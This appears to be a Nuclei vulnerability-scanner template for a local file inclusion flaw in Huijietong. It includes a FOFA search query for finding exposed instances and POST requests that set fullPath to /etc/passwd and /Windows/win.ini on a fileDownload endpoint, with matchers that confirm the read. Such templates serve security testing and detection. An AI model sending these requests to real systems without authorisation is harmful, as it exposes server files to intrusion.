漏洞描述
Huijietong is vulnerable to local file inclusion.
id: huijietong-cloud-fileread
info:
name: Huijietong - Local File Inclusion
author: princechaddha,ritikchaddha
severity: high
description: Huijietong is vulnerable to local file inclusion.
metadata:
max-request: 2
fofa-query: body="/him/api/rest/v1.0/node/role"
tags: huijietong,lfi,vuln
http:
- method: POST
path:
- "{{BaseURL}}/fileDownload?action=downloadBackupFile"
body: 'fullPath=/etc/passwd'
- method: POST
path:
- "{{BaseURL}}/fileDownload?action=downloadBackupFile"
body: 'fullPath=/Windows/win.ini'
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- "\\[(font|extension|file)s\\]"
condition: or
- type: status
status:
- 200
# digest: 4a0a00473045022100f2fe46c8013d2cc20b1705fca4a84ae33daa07cc7cef8125fea5b9e69b674ec402207515247e21fae2af12d69745ae8ae356a5d36f313027525d149d04b43881a921:922c64590222798bb761d5b6d8e72950